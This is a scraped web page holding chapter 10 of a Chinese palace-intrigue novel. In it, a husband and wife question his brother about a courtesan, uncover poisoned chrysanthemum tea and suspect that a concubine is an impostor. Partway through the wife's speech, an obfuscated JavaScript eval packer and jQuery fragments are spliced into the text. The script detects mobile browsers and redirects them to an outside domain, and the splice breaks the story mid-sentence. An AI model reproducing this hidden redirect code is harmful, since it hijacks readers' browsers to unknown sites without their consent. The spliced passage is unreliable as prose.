默认冷灰
24号文字
方正启体

10. 书房密谈

作者:沄铀本书字数:K更新时间:
    暮色沉沉,裴文茂从府中逃出后,便直奔当铺而去,后背衣服上还留着血迹,他怀里紧紧揣着从裴绍德书房偷出来的银票和瓷器玉石,银票零零散散一共一千二百两,“只要当了…当了这些。”他喘着粗气飞奔着,“云烟就能赎出来了。”


    他刚迈进当铺门槛,突然脖颈一紧,就被一只手从背后提了起来,“大…大哥……你不是在军营吗?”裴文茂声音哑的不成样子。


    “走吧?回去跟大哥聊聊吧?”说罢把他提到马上,裴文茂疼的呲牙咧嘴。


    裴彦知带着裴文茂到了他的书房门口,吩咐身后的小厮:“去请夫人过来,再去告诉二房,人我带回来了,随后送到祠堂。”


    裴彦知推开书房门,身后跟着衣衫凌乱的裴文茂,看不出背上的伤口是否还在流血。


    “跪下。”


    裴文茂膝盖一软,直直的跪在书房正中,他抬头正对上兄长幽深的眸子噤若寒蝉。


    整个裴家裴文茂最敬佩的人就是他这位兄长了,也最听他的话。


    苏宥棠裙角扫过门槛踏进书房,身后跟着秋檀,小厮刚才来报她已知晓裴文茂被带回来了,只是心下纳闷为何叫她来书房。


    裴彦知扫了一眼秋檀,苏宥棠心下了然,“无妨。”秋檀转身去关门。


    “说吧,你与云烟认识的经过,一个细节不落地说一遍。”裴彦知坐在书桌旁,示意苏宥棠也坐下。


    裴文茂疑惑地看向他,“大哥,这和……”


    “没关系,你先说吧,毕竟我也有这种经历,说不定能给你支支招。”他自嘲道。


    苏宥棠瞥了裴彦知一眼,这是唱的哪一出?


    “几个月前的一天,因课业未温习完,被教习罚抄,心情不畅快,刚从书院出来就去了凝香苑门口,那妈妈说新来了个女子,会弹琴唱曲儿,我就进去了。”


    他顿了顿,看了眼屋中的三人,“那日本该热闹,妈妈说楼下新来了西域舞姬,都去看跳舞了,最后只剩下我一人。突然‘铮’地一声,她的琴弦断了,手上练琴的泡也磨破了,琴弦上都是血,四下又无婢女,我想帮她包扎,便随她去了后厢房,她说‘琴弦许久未换,惊扰公子了’。”


    苏宥棠理了理衣袖,刚准备开口说话,却被裴彦知抬手止住。


    “我看到她房间里书很多,甚至有我们书院学的几本,就聊了起来,她说她本是富家小姐,后来家产被她爹败光了,才把她卖到凝香苑来,她让我看她后背和胳膊上被他爹和嫡母打的疤痕,同我说她挣够了钱就替自己赎身,她出去想当教书先生。”


    裴彦知喝了口茶,“继续说吧。”


    “后来她说为了感谢我,下次我去的时候送我她亲手晒的杭菊让我泡茶喝,一来二去就熟悉了。我每次去都找她,她和苑里其他人不一样,我们并未有半分逾矩,总有种疏离感。”裴文茂闭着眼回想着。


    “前日她和我告别,说有个江南来的富商要替她赎身,以后或许不会再见,我这才发现自己不知何时就喜欢上她了,才出此下策……”


    “大哥,我是真心喜欢她。”他跪到裴彦知的脚下,抱着他的脚踝带着哭腔说道。


    “那些伤疤是不是都是一个颜色,或者都有结痂?”裴彦知开口问道。


    裴文茂挠头想了想,“好…好像是。”


    “你有见过要替她赎身的人吗?”


    “没有,是那妈妈说,我如果能比那人早凑齐银子,云烟就是我的人了。”


    苏宥棠眉头一皱,“赎身需要多少?”


    “三千两。”裴文茂唯唯诺诺地不敢抬头。


    “她送你的杭菊,可还有?”


    裴文茂一怔,脸色微变:“还有。”


    裴彦知冷声说道:“去取来。”


    裴文茂踉跄起身,刚准备开门,裴彦知见状,“你回去吧,让小厮取了送来。”


    裴文茂走后,屋中只剩三人。苏宥棠在白瓷茶盏边缘慢慢摸索,望着浮起来的茶渣不知在想些什么,裴彦知闭着眼睛想着云烟话中的破绽,秋檀手持银烛签将烛火点燃。


    小厮从裴文茂房中拿来一只画着百合花的小瓷罐,罐中杭菊色泽金黄,乍看无异,苏宥棠正要拿在手里,却被裴彦知拉住了手腕,


    她随即拔下头上的簪子拨开花瓣,花心处隐约可见微粉色的水渍,像是被什么浸染过。


    “秋檀,你来。”苏宥棠冷声道。


    秋檀会意,立刻取出帕子拈起那枚干菊花,凑近鼻尖轻嗅。眉头骤然一蹙,她又将花掷入茶盏,清水顷刻晕开一缕几乎看不出的的胭脂色转瞬即逝。


    秋檀看了眼裴彦知,“小姐,姑爷,这是醉花引,见水成毒,无色无味,混在茶里会让人逐渐失去心智,表面看着无碍,若日日服用,不出一月便会成为任人摆布的傀儡。”


    裴彦知眸光微闪打量着秋檀,“好生厉害的丫头,这般见识,府中只怕无人能及。”


    “奴婢不过是幼时跟着祖父跑过江湖……”秋檀咧嘴一笑道。


    苏宥棠想着裴彦知应是有话同自己说,“秋檀,你去门口守着。”


    “是。”秋檀行礼退下。


    裴彦知和苏宥棠面面相觑不知该如何人开口。


    “你……”两人同时开口。


    “你先说。”裴彦知垂眸避开她的视线


    “你如何得知?”苏宥棠问道。


    “我从军营出来时,乔装去了一趟凝香苑,一楼的小厮支支吾吾,并不知有一位叫‘云烟’的女子,后来找到王妈妈,她倒是爽快,只说云烟染了风寒,近日不便接客。”


    裴彦知轻叹一声,“后来我摸上三楼,一间间厢房找过去,的确有间厢房如他所言,房中的书很多,不过有很多都是崭新的,只有几本书角起了毛边,那正是书院学的。巧的是屋中并没有人,柜中的衣服也只有简单的几套。”


    说罢,他微微抬抬手,示意苏宥棠开口。


    “琴师指腹的茧子经年累月,岂会轻易磨破?还恰好只有茂哥儿一人在时破了,凝香苑琴师的琴弦,十日一换。苑中当红头牌也就三千两,可笑的是,堂堂头牌身边竟连个伺候的丫鬟都没有。”


    她抬眸正对上裴彦知诧异的目光,装作未见,接着道:“若真有富商赎身,那妈妈该是大肆宣扬抬高身价,况且一个江南富商来京城,银钱该是全在身上,为何不当下赎走以免夜长梦多?倒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588656|171772||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    像是专程等着说给茂哥儿听似的。”


    她意味深长地看了裴彦知一眼,“这般漏洞百出的戏码,茂哥儿竟然信了。”


    裴彦知凝视着苏宥棠,眼中尽是好奇,忽而抬手为她重新倒了杯茶,“夫人果然与从前不同了,只是这背后牵扯的,何止一个凝香苑妓子这么简单。”


    苏宥棠微微挑眉,端起茶盏,“哦?看来夫君知道的,比我想象的多。”


    裴彦知起身背着手在书房中转了一圈,看了一眼身后的书架,烛火勾勒出他脸上深邃的轮廓,“从我与你订下婚约时,已身在局中了。府中桩桩件件,想来夫人也看出端倪了。”


    裴彦知摇摇头,似是自嘲,“夫人怕是不知,林氏在行军途中拦在我的马前,本欲遣人安置她,她竟说她知晓敌军的布防图,愿以性命担保。”


    苏宥棠的手微微一僵,原来竟是这般缘由,“这般机密,她一个在教坊司待过的乡野妇人如何得知?且还识得那是定国布防图?最重要的是,她如何得知大军的行军线路。”


    “看来夫人是知道她早就从教坊司被人赎身了。”


    苏宥棠直视裴彦知,“正是。”


    “这正是蹊跷之处,我派人查过,她所说的布防,有七成为真。于是我便允她随军出征,对外谎称是幕僚。据她所言,这些情报是从教坊司一个定国客人身上窥得的。”


    苏宥棠闻言,无意识地摩挲着身上的玉佩,这已是她思考时的习惯了,“教坊司的定国客人?”她轻笑一声,“这倒是有意思了。”


    “你是如何发现林氏有问题?”裴彦知若有所思,开口问道。


    “她房中的香。如你所言她是你救命恩人,那你应当不会轻易带回府中,她定有其他身份让你不得不带回来。我知她与你是青梅竹马所以提出纳妾,若真是如此,她应当知晓你素来不喜熏香,更不会将这般甜腻的香燃在房中。”


    苏宥棠声音轻缓却字字清晰,“要么,回府之后就换了人,要么,从刚开始她就不是你以为的那个人。”


    裴彦知指节收紧,眸色黯然,沉默良久略带错愕道:“你是说,她可能……?”


    她忽然不知该说什么,唇角浮起一丝自嘲的浅笑。若是从前的自己,定不会这般与他推心置腹,重生一世的苏宥棠,终究是少了些顾忌。


    “不错。秋檀说她屋中用的是梦魂香,燃时能让人神志昏沉,事后如大梦初醒,记不清细节。”


    她也是今日才冒出来这个想法,林乐茹素来最是谨慎,说话做事总要留三分余地。即便要耍手段,也都是些上不得台面的小手段,非得等到事情快要成了,才敢大胆些。并且爱凑热闹,今日二房闹成这样,竟不见她的身影,甚是奇怪。


    “你不觉得,如今这人变化也太大了些?你既知晓,为何迟迟不动?有些事若再拖下去,恐怕会横生枝节。”苏宥棠皱着眉问他。


    裴彦知想起在军中时,她看着伤兵血肉模糊的伤口,竟眉头都不皱一下,从前可是连只飞虫都会吓得叫出声来。那时忙着行军打仗,确未曾注意到这些细节。


    他捏了捏眉心长叹一声,沉吟片刻,“此事牵连甚广,贸然出手,只怕打草惊蛇。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)